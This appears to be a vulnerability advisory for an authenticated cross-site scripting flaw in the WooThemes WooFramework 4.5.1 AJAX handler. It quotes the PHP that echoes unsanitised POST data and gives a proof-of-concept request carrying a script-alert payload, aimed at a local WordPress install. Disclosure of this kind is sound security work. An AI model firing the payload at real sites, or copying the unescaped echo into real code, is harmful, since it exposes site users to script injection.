WooFramework 4.5.1.txt

------------------------------------------------------------------------------
WooThemes WooFramework 4.5.1 Authenicated Cross Site Scripting (XSS) 
------------------------------------------------------------------------------

[-] Vulnerability Description:

https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

the vulnerability is in  function "woo_sbm_callback":
Vuln Code:
function woo_sbm_callback() {
	...
	$save_type = $_POST['type'];
	...
	if($save_type == 'woo_sbm_get_links'){

		$data = $_POST['data'];
		parse_str($data,$data_array);
		$type = $data_array['type'];
		$slug = $data_array['slug'];
		$name = $data_array['name'];
		$id = $data_array['id'];
		...
		...
		echo "$type|$name|$slug|$id|$url|$conditional";

	}
	...
}
add_action( 'wp_ajax_woo_sbm_post_action', 'woo_sbm_callback' );

[-] Proof Of Concept:
URL: http://localhost/x/wordpress/wp-admin/admin-ajax.php?action=woo_sbm_post_action
Post Data: type=woo_sbm_get_links&data=type=<script>alert(1)</script>

[-] Fix / Solution:
Update to latest framework.